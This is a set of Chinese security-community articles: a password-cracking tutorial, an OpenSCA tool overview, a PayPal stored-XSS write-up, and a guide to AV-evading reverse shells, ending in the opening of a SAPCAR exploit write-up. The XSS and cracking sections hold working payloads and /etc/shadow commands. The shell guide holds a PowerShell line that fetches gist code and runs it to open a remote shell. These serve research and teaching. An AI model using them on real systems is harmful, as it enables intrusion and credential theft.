我们来试试看吧！当人们第一次使用JtR的时候，可能会感觉“丈二和尚摸不着头脑”，被它的许多命令行选项搞糊涂，但这恰恰证明了JtR的多功能性。
在我的$PATH中未检测到JtR，因此必须利用完整路径
在破解密码方面，有三种类型的攻击：
1.暴力破解：通过依次处理每个可能的字母、数字和特殊字符组合来猜测密码。这是一个很漫长的过程，但却很有效果。
2.字典攻击：此攻击利用包含常见密码列表的文件(通常取自某种类型的漏洞)来猜测给定的密码。在CTF中应用比较广泛，但在正常情况下不是特别常见。
3.彩虹表：彩虹表是一系列预先计算好的散列。其思想是，这些彩虹表包含给定算法的所有散列。通过查找代替了破解。请注意，这需要相当大的处理能力才能实现。
本文中，我将利用JtR演示字典攻击。要做到这一点，首先我们需要一本字典来攻击。最容易获得的是rockyou.txt。rockyou.txt是社交媒体应用程序开发商RockYou的提供的一组密码。注意：如果您不使用Kali
Linux，可以从[这里](https://wiki.skullsecurity.org/Passwords "这里")下载rockyou.txt.gz 。
在Kali上，使用以下命令解压缩rocyou.txt.gz文件：
sudo gunzip /usr/share/wordlists/rockyou.txt.gz
wc -l /usr/share/wordlists/rockyou.txt
现在让我们试试手——Linux密码散列，我们需要两个文件:/etc/passwd和/etc/ shadow。
> 根据Wikipedia:
> /etc/passwd文件是一个基于文本的数据库，其中包含关于可能登录到系统或拥有正在运行的进程的其他操作系统用户身份的用户的信息。etc/shadow用于限制除高度特权用户外的所有用户对散列密码数据的访问，从而提高密码的安全性。通常，该数据保存在由超级用户拥有且只能由超级用户访问的文件中。
JtR破解的文件必须有特定的格式。要转换passwd和shadow文件，我们需要利用/usr/sbin/unshade可执行文件。这需要超级用户权限才能执行。
sudo /usr/sbin/unshadow /etc/passwd /etc/shadow > ~/passwords.txt
破解Linux密码的命令非常简单。
/usr/sbin/john --wordlist=/usr/share/wordlists/rockyou.txt ~/passwords.txt
JTR是一个很好的工具来显示您(或您的用户)是否有弱/可预测的密码！
所以JtR还能做什么？很多！有许多不同的转换工具，可以将不同的文件类型转换为JTR兼容的攻击文件。
例如：
# SSH密钥
要测试JTR的SSH密钥密码破解能力，首先要创建一组新的私钥。注意：JTR没有破解文件本身(即生成的密钥中的字节数并不重要)，JTR只是破解私钥的加密密码。
在这种情况下，使用可预测的密码创建公钥/私钥对：
# Create some private key
ssh-keygen -t rsa -b 4096
# Create encrypted zip
/usr/sbin/ssh2john ~/.ssh/id_rsa > id_rsa.hash
接下来，您需要做的就是使用您的字典将John the Ripper指向给定文件：
/usr/sbin/john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.hash
hhhh
# Keepass2数据库
Keepass怎么样？如果您不知道，Keepass是一个开源的，跨平台的密码管理库。
所以让我们创建一个可以攻击的库。首先，安装Keepass CLI(“kpcli”)。
sudo apt-get install -y kpcli
接下来，创建库。你不需要在库里存储任何密码，一个空的库就可以了。
$ kpcli
KeePass CLI (kpcli) v3.1 is ready for operation.
Type 'help' for a description of available commands.
Type 'help <command>' for details on individual commands.
kpcli:/> saveas newdb.kdb
Please provide the master password: *************************
Retype to verify: *************************
kpcli:/> exit
与攻击SSH私钥和Linux密码散列一样，将Keepass数据库转换为与JTR兼容的格式。
/usr/sbin/keepass2john newdb.kdb > newdb.kdb.hash
攻击！
/usr/sbin/john --wordlist=/usr/share/wordlists/rockyou.txt newdb.kdb.hash
# RAR
接下来，让我们使用[Roshal Archive](https://en.wikipedia.org/wiki/RAR_%28file_format%29
"Roshal Archive")(“RAR”)格式。要在Linux上创建加密的RAR归档文件，请执行以下操作：
# Install rar
sudo apt-get install -y rar
# Create some dummy file
echo "Hello" > hello.txt
# Create an encrypted RAR file with the password "password"
rar a -hppassword encrypted.rar hello.txt
接下来，将其转换为JTR的攻击格式：
/usr/sbin/rar2john encrypted.rar > encrypted.rar.hash
开火！
# 关于破解ZIP文件的说明…
在撰写这篇文章的过程中，我发现最新版本的JtR中有一个可以防止Zip文件被破解的bug。
# 总结
这就是你想要的。一种免费的、开源的方法，可以轻松地恢复“您的”密码。
如果你对进一步的研究感兴趣，看看这个Defcon关于密码破解的演讲。 “DEFCON 17: Cracking 400,000 Passwords, or
How to Explain to Your Roommate why Power Bill is a High”
<https://www.youtube.com/watch?v=0WPny7wk960>
教程：https://bytesoverbombs.io/cracking-everything-with-john-the-ripper-d434f0f6dc1c | 社区文章 |
随着容器、微服务等新技术的快速迭代，开源软件已成为业界主流形态，开源和云原生时代的到来导致软件供应链越来越趋于复杂化和多样化，网络攻击者开始采用软件供应链攻击作为击破关键基础设施的的重要突破口，从而导致软件供应链的安全风险日益增加。
——《DevSecOps敏捷安全》
## 一 开源风险治理为何如此重要？
《供应链攻击威胁局势报告》显示，预计2021年的供应链攻击数量将增加至上一年的四倍之多。《2021年软件供应链安全报告》显示，425名大型企业的IT、安全和DevOps主管中，64%的人报告称去年受到了供应链攻击的影响。Gartner预测，97%的企业应用程序将依赖于开源的使用，且超过70%的应用程序因使用开源组件而产生缺陷和漏洞。
开源≠安全。市场有观点认为，开源项目使用起来更安全，因为当整个社区参与开发和维护项目时，包括安全漏洞在内的问题常常被更快地识别和修复。虽如此，但并不代表开源没有风险。
开源项目是公开的，且对所有人可见，自然也包括恶意攻击者。在其中发现的任何漏洞都会暴露给潜在的攻击者。开源项目越受欢迎，对应攻击事件的影响面也就越大，因而关键基础开源软件需要被重点关注。
## 二 OpenSCA技术原理
OpenSCA开源项目建立的初衷是“用开源的方式做开源风险治理”这一理念，将商业级的源鉴OSS开源威胁管控平台部分关键技术开源，为广大企业和开发者提供专业的SCA核心工具与社区生态。
OpenSCA继承了商业级的开源应用安全缺陷检测、多级开源依赖挖掘、纵深代码同源检测等核心能力，通过软件成分分析、依赖分析、特征分析、引用识别、合规分析等方法，深度挖掘组件中潜藏的各类安全漏洞及开源协议风险。支持Java、JavaScript（Node.js）、PHP、Python、Go
(Golang)、Rust、Erlang等多种主流编程语言并支持生成软件物料清单（SBOM）。后续会逐步增加更多的语言。
下图为OpenSCA目前支持的编程语言，并在持续增加中~
#### 1\. 轻量级零成本安装使用
开发人员在写代码时需要全面思考、高效设计并快速迭代，因而希望工具易用性好、不拖慢开发节奏。
OpenSCA-cli是OpenSCA的命令行工具，支持在Windows/Linux/MacOS操作系统运行使用，部署简单，命令快捷。
云端在线检测：
可关联最新的漏洞数据，通过将本地解析的组件信息（不包含代码信息）上传至OpenSCA云平台进行漏洞库比对，识别组件的漏洞风险信息。
下图为在线检测命令示例
本地离线检测：
可以按照OpenSCA提供的漏洞库格式准备自己的漏洞库信息，无需将解析的组件信息传输到OpenSCA云平台，就可完成组件漏洞检测。
下图为本地检测命令示例
检测结果格式：
支持将检测结果保存到指定文件，根据后缀生成不同格式的文件，默认为JSON格式；支持以SPDX格式展示SBOM清单，只需更换相应输出文件后缀。支持生成HTML格式的检测报告。
检测结果示例：
#### 2\. 分析应用组件成分
引擎首先会检查项目是否有支持的特征文件，如果有特征文件，把需要的特征文件提取出来。解析jar包内的特征文件，如果包内无特征文件或特征文件解析不到有效数据则会尝试用jar包名检索获取组件名称和版本。如果通过jar包名检索失败则会按照"{组件名}-{版本号}.jar"的格式直接解析jar包名。
#### 3\. 分析组件依赖关系
开源软件包中80%的漏洞存在于传递依赖关系中，这意味着代码中的大多数漏洞都包含在复杂且正在使用的（嵌套）依赖项中。OpenSCA可以准确地检查代码中的所有依赖项，解析代码中使用的开源包的深度和复杂性，能够确保在各个级别都进行合适有效的漏洞检测。
在项目完整编译环境下，许多语言都会有比较成熟的包管理器，OpenSCA可以基于它的依赖配置文件去识别组件。例如mvn dependency:tree
获取完整依赖树的过程，通过解析静态文件就可以获取非常完整的依赖关系。
OpenSCA后续新版本也将支持没有构建之前进行源代码层级的组件成分扫描，通过解析特征文件、组件文件、代码片段来识别成分。通过接入GitHub或Gitee的在线代码仓库，一旦仓库添加了新的组件信息，可以在早期检测并帮助开发人员识别潜在的风险。
但是对于本身组件体系完整而普适度高的语言，比如Java当中频繁使用了依赖引用链，这种引用关系往往可能存在2-3层以上，而这种依赖关系仅从静态的pom.xml中是没办法获取的。OpenSCA间接依赖可以从云平台组件库进行完整深度的递归解析所有层级的子依赖。
下图为OpenSCA检测流程
#### 4\. 分析实际依赖组件
由于已识别的组件漏洞数量庞大，很快就会掩盖了漏洞的可见性及其对企业构成的真实风险指数。但企业发现的实际漏洞中有70%-85%不是致命漏洞，因为企业的专有软件不会调用存在这些漏洞的组件。
如何检测并判断应用实际使用到的组件是不可或缺的关键能力。OpenSCA在解析文件依赖信息时首先会检查组件是否是生产环境的组件（生产/开发环境的组件一般会在依赖文件中标识）。
通过解析过滤掉并非实际使用到的组件，从源头上减少无效组件和漏洞信息带来的干扰。
#### 5\. 组件完整性分析
对于jar包文件，会计算其MD5值后与知识库中记录的组件MD5进行匹配，判断当前组件的完整性。
下图为完整性校验流程
#### 6\. 检测组件漏洞风险
OpenSCA-cli提供了云平台漏洞库和离线漏洞库两种关联方式，来满足用户的在线和离线使用需求。
因此，OpenSCA的漏洞库的全面性和实时性可以起到重要的分析作用。依赖分析可以知道哪些项目或应用程序受到了漏洞的影响。
长期对知名开源组件追踪，大量漏洞源收集和独家漏洞的补充使得漏洞库快速全面的更新。
基于海量的组件库、漏洞库、许可证库、开源项目库等知识数据能够最大程度的匹配出正确的组件版本和对应的风险信息。通常，同一个漏洞可能存在于同一个组件的多个版本中，又或者同一个漏洞可能存在于不同的组件中，通过对关键漏洞的验证核实，OpenSCA能够最准确的给出修复推荐组件版本和安全的组件版本范围供用户选择。
#### 7\. 推荐修复方案
准确覆盖并识别了漏洞风险和优先级，但是如何进行有效修复？OpenSCA具备完善的漏洞修复方案和安全版本的开源组件推荐。
漏洞运营团队会对漏洞进行复现和修复验证。最大程度地完善漏洞修复信息，包括临时补丁、官方补丁、配置文件、缓解措施等。帮助用户快速评估修复影响和修复时间。
#### 8\. 提高许可证合规性
企业开发人员不能只是使用、复制、修改或分发开源依赖项。为了在软件中正确且合法地使用开源组件，必须了解在代码中使用的每个开源依赖项的协议权限、限制与使用条件。这将有助于企业创建定义和实施安全准则的策略。
OpenSCA能够从文件级别和代码级别，帮助企业深入了解开源组件的许可条款和条件，以及许可证的兼容关系。在制定安全策略时，企业可以在软件开发生命周期初期采用许可证合规性的规范。
#### 9\. 生成SBOM（软件物料清单）
软件物料清单（SBOM，Software Bills of
Materials）是描述软件包依赖树的一系列元数据，包括供应商名称、组件名称、版本号、许可证信息、依赖关系等关键信息，通过SBOM技术和管理手段，可以帮助企业或团队梳理并透明化软件供应链资产。
通过使用OpenSCA自动化构建并生成应用程序的SBOM，在每次添加、删除依赖项或更改组件版本时可自动更新SBOM以确保SBOM的准确性。后续也将支持用户上传SBOM清单分析项目是否使用了存在已知漏洞的组件并构建完整的资产风险视图。当其它组件爆出漏洞时也可根据SBOM快速排查受影响项目，提高供应链的透明度和安全性。
## 三 OpenSCA开源项目的初心
SCA检测涉及源代码解析，部分使用者可能担心代码泄露，开源后，所有检测过程使用者是可控的，没有泄露风险。
开发语言、开发工具五花八门，这使得SCA工具需要针对不同语言进行适配或兼容，使用者可以通过修改代码开发适合自己使用场景的SCA检测工具，如果有更多的贡献者，有助于OpenSCA覆盖更多的检测场景。在更大的范围帮助更多的企业实现开源风险治理，助力开源生态健康有序发展。
## 四 OpenSCA的优势
#### 1\. 先发优势
作为全球首款开源的企业级SCA技术产品，OpenSCA继承了源鉴OSS大量的企业实践落地技术沉淀，后续也将持续吸取商业实践，不断更新优化OpenSCA的服务能力。
#### 2\. 社区优势
依托于社区用户参与友好度以及以产品交付能力驱动的社区运营能力，OpenSCA荣获GVP（Gitee最有价值开源项目）年度荣誉与软博会“全球十大开源软件产品”。
和越来越多参与贡献的开发者一起共建，OpenSCA将会更快速成长。
#### 3\. 迁移成本优势
用户可以在初期使用OpenSCA来满足业务需求，后续需要更丰富的功能，可以平滑升级到商业企业版本。用户体验和使用习惯可以得到延续，降低迁移成本。
#### 4\. 技术优势
###### 4.1 特征检测
对于包管理器的检测方式，支持两种方案，一种是传统的依赖包管理器环境，另一种支持模拟包管理器解析逻辑，具备高度定制化能力。
如何判断是否有版本冲突时的依赖，可以按照包管理器的排除机制处理（maven会采用依赖路径最短的依赖）。比如maven解析pom中的依赖、属性，需要获取pom时去仓库拉取，版本冲突时按照maven的规则进行处理。
###### 4.2 同源检测
开发者可以直接、完整地引入开源组件，但可能在很多时候，只是发现某一个开源项目中某一个代码片段写得不错就选择copy。这个代码片段可能来自Github，行数不等，变量定义不明。此时传统SCA的依赖分析功能无法完成对这些代码片段的识别，需要更进一步的源代码同源分析。
OpenSCA即将发布版本可以检测不同语言的代码片段，识别代码级别引入的开源组件信息，及其关联的漏洞和许可证信息。通过同源检测，可以识别企业项目的代码自研率、代码溯源相似度分析、许可证风险兼容分析等。
###### 4.3 二进制检测
C/C++这样的语言，没有像maven这样统一的包管理器，使得SCA识别起来会有困难。
OpenSCA即将发布版本通过导入二进制文件的方式引入依赖，能够对二进制文件进行扫描并收集其依赖信息。
OpenSCA二进制检测将拥有丰富的二进制分析经验和漏洞挖掘能力。使用数据流、控制流、污点分析等技术，从常见攻击面出发，提炼漏洞的二进制特征，提高版本匹配、漏洞匹配的准确性。无需源码，上传二进制文件，即可进行软件成分分析，生成完整安全报告，帮助客户快速获取软件风险。
###### 4.4 强大的在线库
OpenSCA在线库集成了漏洞库、组件库、许可证库，并进行小时级别的实施更新和人工运营，既保证了数据的全面覆盖，也保证了风险信息的时效性。在检测过程中，引擎可在线调用云平台丰富的库资源进行比对，降低了系统漏报率，并对漏洞修复方案进行持续完善更新，帮助用户对风险进行有效闭环。
## 五 期待参与和贡献，共建开源项目
感谢每一位开源社区成员对OpenSCA的支持和贡献。
Gitee已将OpenSCA扫描能力集成进了Gitee Go流水线中，实现了在流水线中对线上代码仓库的组件安全扫描。
下图为OpenSCA在Gitee集成的OpenSCA服务
OpenSCA的代码会在GitHub和Gitee持续迭代，欢迎Star和PR，成为我们的开源贡献者。有任何建议都可以发在评论区或者OpenSCA项目的Issues中。我们会参考大家的建议不断完善OpenSCA开源项目，敬请期待更多功能的支持。
OpenSCA官网：
<https://opensca.xmirror.cn/>
GitHub：
<https://github.com/XmirrorSecurity/OpenSCA-cli/>
Gitee：
<https://gitee.com/XmirrorSecurity/OpenSCA-cli/> | 社区文章 |
# 【技术分享】针对PayPal子域存储型XSS的研究（下）
|
##### 译文声明
本文是翻译文章，文章来源：firstsight.me
原文地址：<http://firstsight.me/fia07a53c4ec63d2b0d47fe27ea2645d82f8c98648/[ENG]%20PayPal%20-%20Turning%20Self-XSS%20into%20non-Self%20Stored-XSS%20via%20Authorization%20Issue.pdf>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[WisFree](http://bobao.360.cn/member/contribute?uid=2606963099)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**传送门**
****
[**【技术分享】针对PayPal子域存储型XSS的研究（上）**](http://bobao.360.cn/learning/detail/4706.html)
**
**
**写在前面的话**
在本系列文章的上集中，我们给大家介绍了PayPal品牌中心以及PayPal技术支持门户中存在的存储型跨站脚本漏洞。接下来，我们将会给大家介绍如何利用PayPal品牌中心站点中的XSS（跨站脚本）漏洞。在这个过程中，我们需要利用该站点所使用的身份验证机制中存在的安全问题，并利用“文件名注入”技术将Self-XSS转换为non-Self型的存储型XSS。
如果你想了解更多相关内容，请访问作者的Twitter主页或通过电子邮箱与他联系。
Twitter：@YoKoAcc 电子邮箱：[[email protected]](mailto:[email protected])
**PoC**
由于PayPal所存在的这个跨站脚本实际上是一种self-XSS，因此我们的PoC可能会跟其他类型的XSS有所不同。为了给大家进行比较完整的解释，我们会尝试使用一些简单的流程图来解释攻击的过程以及方法。
**针对PayPal技术支持门户的PoC**
现在，我们已经知道了这个门户网站中的验证机制存在安全问题。简单来说，这个问题将允许任意的匿名用户伪装成网站的已注册用户来提交内容，而攻击者只需要知道一个“已注册”的电子邮箱ID就可以了。
接下来，攻击者可以利用验证机制的漏洞来创建新的任务单，并上传恶意.svg文件来触发XSS漏洞。由于这里存在的是存储型跨站脚本漏洞，因此攻击者需要目标用户打开他们所创建的任务单才能够成功发动攻击。有趣的是，该网站的任务单提交功能并没有部署任何的验证码机制，因此攻击者就可以通过暴力破解的方式来自动化地测试邮件ID列表了。
注意：这种方法也许是PayPal经过深思熟虑之后所设计出来的一种企业业务流程，所以他们目前还没有对这种任务单提交方法进行修改和优化，他们目前只修复了其中的跨站脚本漏洞。
在直接介绍攻击PoC之前，我们需要简单了解一下攻击的整个流程。下面这张图片显示的是攻击者用于欺骗目标用户所使用的方法。在这种场景中，攻击者可以利用“无需登录即可提交任务单”的方法并绕过网站的文件上传保护来上传恶意的.svg文件（SVG是一种用XML定义的语言，用来描述二维矢量及矢量/栅格图形。SVG可以算是目前最最火热的图像文件格式了，它的英文全称为Scalable
Vector Graphics，意思为可缩放的矢量图形。）。
攻击流程图如下所示：
需要注意的是，在这种场景下的攻击过程中，攻击者所填入的电子邮箱地址必须是真实存在的目标用户PayPal技术支持账号（电子邮箱，可通过暴力破解攻击获取）。
填写完所有的内容之后，接下来攻击者需要上传包含了客户端脚本的恶意.svg文件，下面给出的是客户端脚本代码PoC：
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<svg onload="window.location='http://www.google.com'"
xmlns="http://www.w3.org/2000/svg"></svg>
需要注意的是，由于网站不允许用户上传后缀为.svg的文件，因此我们在上传之前还需要绕过客户端的保护机制，此时攻击者可以将.svg修改为.png之类的网站所允许的后缀来实现绕过：
当我们选择了包含客户端脚本代码的恶意.png文件之后，接下来我们要做的就是在将其发送给服务器之前拦截网站请求。在拦截下来的请求信息中，我们可以修改content-type的内容，并将后缀名以及文件格式修改为.svg。
修改完成之后，我们就可以将拦截下来的请求转发出去了。当请求转发成功之后，如果.svg文件上传成功，那么我们就可以得到网站所返回的“上传成功”提示。具体如下图所示：
最后，攻击者只需要等待目标用户打开任务单以及之前所上传的恶意.svg文件即可。当.svg文件被打开之后，网站中的跨站脚本漏洞（存储型XSS）将会被触发。
**针对PayPal品牌中心的PoC**
与之前介绍的一样，PayPal品牌中心的网页中存在一个验证问题。换句话来说，任何一位匿名用户都可以向另一名已注册的PayPal用户发送任务单，而他们只需要知道目标用户的已注册邮箱ID就可以了。
PayPal品牌中心门户的注册流程以及任务单提交流程：
上图所示的流程可以主要分为以下两种场景，即“账号不存在”和“账号存在”这两种情况。
1\. 如果账号存在，则注册流程将会跳转到“在不知道用户密码的情况下提交任务单”功能。
2\. 如果账号不存在，则注册流程将会按照正常规则进行处理（完成注册）。
在这一步骤中，我们将要使用的攻击流程与之前针对PayPal技术支持门户的攻击流程一样。下图所示的就是攻击者用于欺骗目标用户的方法。在这种场景下，攻击者需要利用“无需登录提交任务单”的方法以及“先上传任意文件之后再修改文件名”来触发网站中存在的跨站脚本漏洞。
针对PayPal品牌中心门户的攻击流程图：
跟之前“无需登录提交任务单”的方法一样，攻击者所填写的邮箱地址必须是真实存在的目标用户PayPal品牌中心账号。
网页表单中的信息全部填写完成之后，攻击者需要拦截网站给服务器发送的请求信息，并将上传的文件名修改为恶意脚本文件，这样才能在客户端触发漏洞。为了演示方便，我们可以使用下面给出的Payload来触发一次警告弹窗：
><img src=x onerror=prompt(1)>
但是，由于这种弹窗式的Payload还不足以证明这种安全问题的严重等级，因此我们还需要尝试修改Payload，至少要实现URL重定向或下载一个程序才够。但是在这种场景中，我们又发现了另一个问题，即该门户网站中的文件名中不允许出现以下特殊字符：“.
" / =”（点号、双引号、反斜杠和等号）。
所以，我们需要将Payload修改成以下形式并尝试绕过这种特殊字符限制：
<img src=a onerror=document.location="http://google.com">
下面给出的就是我们拦截下请求之后最终的修改情况：
在攻击的最后阶段中，攻击者只需要等待目标用户打开任务单即可。当任务单打开之后，网页将会执行注入在文件名中的恶意脚本代码。
**后话**
其实，对于PayPal这种商业支付领域的领军企业来说，用户的信息安全以及资金安全肯定是首要的。我个人认为，对于某些大规模的网站而言，需要保护的东西实在是太多了，而安全团队也并不能百分之百地清楚网站中每一个应用程序的具体运行流程。
与此同时，像Facebook和Twitter这样的门户网站一样，PayPal的安全团队每天都会接收到来自全世界各个地区的研究人员所发过来的漏洞报告，因此这也给企业的安全团队带来了巨大的工作量。因此，当各位想要提交漏洞报告的时候，请一定要保证报告内容的完整性，并提供可行的PoC以及漏洞利用细节，最好还可以附带演示视频。 | 社区文章 |
> 本文主要内容是在目标机器上生成反向shell的不同方法的技术概述。
## 简介
2017年12月，窝写了一篇关于在内存中执行PowerShell脚本，从而达到一些可能的内部攻击的文章，这些脚本在几个月前没有被主要的杀毒软件检测到。在这几个月中，在通知所有的供应商之后，他们把这玩意加到了样本里，所以之前的GG了。在我的文章中使用的各种攻击中，通过直接在内存中执行的powersploit脚本得到一个反向shell，目前大多数AV供应商都会检测到这些攻击但是......
但如果使用C ++/C＃写的程序或其他的东西完成同样的行为会咋样？
ps：其实以前国内的师傅也说到过，通过自己编写脚本，也可以让杀软检测不到。
## 攻击手法索引：
* 使用C＃代码程序在目标计算机上反弹一个shell并绕过AV。
* 使用`C ++`代码并绕过AV在目标计算机上得到一个具有持久性的shell。
* 使用代理凭据通过Internet反弹一个 `C＃Reverse Shell`。
* 使用`Microsoft.Workflow.Compiler.exe`和`C＃`配合反弹一个`Reverse Shell`。
* 通过`PowerShell和C＃`组合反弹Shell
* 通过`Excel宏，PowerShell和C＃`组合反弹Shell
### C#简单的反弹Shell代码编写
在github上可以看到有很多C＃代码示例,可以通过cmd.exe反弹shell。在这种情况下，我复制了部分代码并使用了以下简单的C＃程序。没有bypass，没有持久性，没有隐藏性，只有简单的`打开套接字并在受害者机器上启动cmd.exe`：
ps:译者复现的时候是用vscode，安装c#插件即可。参考<https://blog.csdn.net/qq_40197828/article/details/79396818>
vscode编译：我觉得也有和我一样不知道怎么编译的。2333
dotnet build -r win-x64
编译后也没拦截
嗯呢，Windows Defender的显示这个exe文件是干净的。AV端显示尚未执行任何恶意操作。对我们来说，nice。
在目标机器执行：
执行文件cmd实例对用户是可见的，如果提示窗口关闭，则shell将发生相同的情况。
ps：肯定一端关闭另外就会断开，考虑一下持久化的问题。QAQ
病毒检测结果：
`https://www.virustotal.com/#/file/983fe1c7d4cb293d072fcf11f8048058c458a928cbb9169c149b721082cf70aa/detection`
### C++反向shell加点持久性
我想深入研究一下，发现不同的[C++代码](http://sh3llc0d3r.com/windows-reverse-shell-shellcode-i/)可以实现上面所说的功能，但其中一个引起了我的注意。特别是我发现[@NinjaParanoid](https://twitter.com/NinjaParanoid)的代码可以获得有持久性强一些的反向shell。下面是代码的一些细节。有关所有详细信息，请转到[原始文章](https://scriptdotsh.com/index.php/2018/09/04/malware-on-steroids-part-1-simple-cmd-reverse-shell/)。
这个脚本有三个主要优点：
* 通过while循环尝试在5秒后重新连接
* 隐藏cmd
* 如果攻击者ip改变，则会接受参数
源代码link：<https://github.com/paranoidninja/ScriptDotSh-MalwareDevelopment/blob/master/prometheus.cpp>
编译代码后，使用Windows
Defender对这个exe进行了扫描，未检测到任何威胁。此时，exe的行为是在恶意和非恶意之间的边界点。前面说过，只要您运行该文件，shell将在5秒后反弹回来。
在客户端，屏幕上不显示任何内容。如果出现问题，后台进程每5秒会自动重新连接到Kali。
病毒查杀结果：
link：<https://www.virustotal.com/#/file/a7592a117d2ebc07b0065a6a9cd8fb186f7374fae5806a24b5bcccd665a0dc07/detection>
### 使用代理凭据通过Internet反弹C# Shell
一个关于如何利用代理凭证从内部公司网络在互联网上反弹一个shell的思考，让我开发了以下代码：
* 在没有管理员权限的情况下结合peewpw脚本从Credential Manager dump代理凭据(如果存在)
* 在Base64中编码dump的凭据
* 将它们插入代理授权连接。
......就是这样......
...在编译代码之前，您只需要目标公司的代理`IP/PORT`。考虑到安全原因，我无法共享源代码以避免被恶意利用，但如果您有一点编程技巧，你可以自己编写。但是很显然，这个攻击方法的失败率非常高，因为目标可能没有在凭据管理器上保存域凭据，从而导致攻击失败。
但是，这种情况的话，Windows Defender和其他企业的AV软件未检测到任何威胁，所以还是很OK。
感谢[@SocketReve](https://twitter.com/SocketReve)基佬帮我编写这个代码。
### 将Microsoft.Workflow.Compiler.exe运用到C#中 ---> Reverse Shell
我深入查找了一些文章，我找到了不同的骚操作，主要是讨论`Microsoft.Workflow.Compiler.exe`中`任意未签名`的代码执行。
这里的文章：[1] (<https://posts.specterops.io/arbitrary-unsigned-code-execution-vector-in-microsoft-workflow-compiler-exe-3d9294bc5efb)->
[2](https://www.forcepoint.com/blog/security-labs/using-c-post-powershell-attacks) \- [3](https://www.fortynorthsecurity.com/microsoft-workflow-compiler-exe-veil-and-cobalt-strike/)。
> 通过这些文章，我在想...为什么不使用这种技术来用C＃编写反弹shell的脚本？
总之呢，文章讨论了如何利用`Microsoft.Workflow.Compiler.exe服务`然后运用到C#代码中。这是一个命令的示例：
REV.txt必须具有以下XOML结构：
下面你会发现你将要编译的C#代码的RAW结构(与上面我介绍的csharp反弹shell的代码一样)：
运行该命令后，会发生以下情况：
C#源代码是从Rev.Shell文件中获取的
编译和执行C# payload
反弹shell
### 通过PowerShell和C# ReverseShell
> 在这一点上，我想的是......假如将这是一次真实的攻击，红队下一步要做什么？
通过`Microsoft.Workflow.Compiler.exe`编译的文件很简单，为何不使用powershell？
powershell -command“＆{（New-Object Net.WebClient）.DownloadFile（'https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt'，'。\ REV.txt'）} “&& powershell -command”＆{（New-Object Net.WebClient）.DownloadFile（'https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell'，'。\ Rev.Shell' }}“&& C：\ Windows \ Microsoft.Net \ Framework64 \ v4.0.30319 \ Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell
使用这个ps命令，PS将下载上述两个文件并将其保存在系统中。之后它会立即调用`Microsoft.Workflow.Compiler.exe`来编译C＃代码并反弹shell。
links：
PowerShell命令：<https://gist.githubusercontent.com/BankSecurity/469ac5f9944ed1b8c39129dc0037bb8f/raw/7806b5c9642bdf39365c679addb28b6d19f31d76/PowerShell_Command.txt>
REV.txt代码
:<https://gist.github.com/BankSecurity/812060a13e57c815abe21ef04857b066>
Rev.Shell代码:
<https://gist.github.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639>
PS启动后，reverse shell执行了，但是却不能够被检测到。
### 通过Excel宏，PowerShell和C# Revese Shell
作为这系列攻击手法的最后一个骚操作，我想在宏中插入刚刚说的Powershell代码......猜猜看，嘤嘤嘤？
这个文件没有被检测为恶意文件，并且在没有任何警报的情况下反弹了shell。
检测：
get shell：
病毒检测结果
<https://www.virustotal.com/#/file/e81fe80f61a276d216c726e34ab0defc6e11fa6c333c87ec5c260f0018de89b4/detection>
许多检测都涉及到启动PowerShell的宏，而不是实际的行为。这说明着如果我们能够对代码进行混淆或者使用其他服务来下载这两个文件，则可以绕过AV，反弹shell，如上所示。
## 结论
通过以不同方式编写了几个反弹shell的代码，本文主要希望能够绕过反病毒软件，检测不到我们的行为。对于市场上的所有AV，前两个反弹shell的代码完全无法检测到。与恶意宏相关的签名仅仅涉及利用了PowerShell，而不是真正利用了微软服务。
关键的是，使用Microsoft.Workflow.Compiler.exe的任意代码执行技术仅依赖于调用命令的能力，而不依赖于PowerShell。我们没必要使用可能由反病毒软件的安全解决方案检测和阻止的某些PowerShell技术。但您可以获得一些绕过应用程序白名单和混淆我们的行为的新方法等好处。也就是说，当利用Microsoft.Workflow.Compiler.exe时，将创建一个临时DLL并可能被防病毒软件检测到。
所有这些都表明，由于趋势，我们似乎可能会开始看到越来越多的攻击是利用`C＃` 或`C＃和PowerShell`的组合。
[原文链接]（<https://medium.com/@Bank_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15）> | 社区文章 |
# 【技术分享】SAPCAR堆缓冲区溢出：从crash到exploit
|
##### 译文声明
本文是翻译文章，文章来源：coresecurity.com
原文地址：<https://www.coresecurity.com/blog/sapcar-heap-buffer-overflow-crash-exploit>
译文仅供参考，具体内容表达以及含义原文为准。
****
翻译：[WisFree](http://bobao.360.cn/member/contribute?uid=2606963099)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**一、介绍**
几周之前，我们在SAPCAR中发现了简单的[堆缓冲区溢出漏洞](https://www.coresecurity.com/advisories/sap-sapcar-heap-based-buffer-overflow-vulnerability)。在这篇文章中，我们将会详细讨论该漏洞的技术细节以及漏洞方法。
为此，SAP已经发布了官方安全公告#2441560，并将该问题归类为“潜在的拒绝服务（DoS）”。通过研究发现，我们不仅可以利用这个漏洞来实现代码执行，而且实现起来也相对比较容易。除此之外，我们也希望这篇文章可以让那些对代码利用感兴趣的初学者提供一个很好的参考实例。
在这篇文章中，我们将了解如何通过模糊测试技术来获取到大量崩溃信息，如何找出漏洞的根本成因，以及如何确定漏洞的可利用性。接下来，我们将会使用众所周知的文件指针重写技术来设计出相应的漏洞利用代码。除此之外，本文的最后一章还会给大家介绍glibc
2.24中所采用的漏洞缓解技术细节。
我们认为这是一篇极具教育意义的技术文章，因为如果我们想要对SAP系统管理员发动攻击的话，还需要一种更加可靠的漏洞利用技术。（更多细节请参考4.4章）
**二、SAPCAR**
SAPCAR是一款针对SAR和CAR文档的命令行工具，而这两种文件格式是SAP专用的文档文件格式，SAP通常都会使用这种格式来发布软件或数据包。
本文所介绍的这个漏洞将会影响SAPCAR的v721.510版本，不过其他产品和版本仍然可能会受到影响，但我们现在只对这个特定版本进行测试。
**三、崩溃分析**
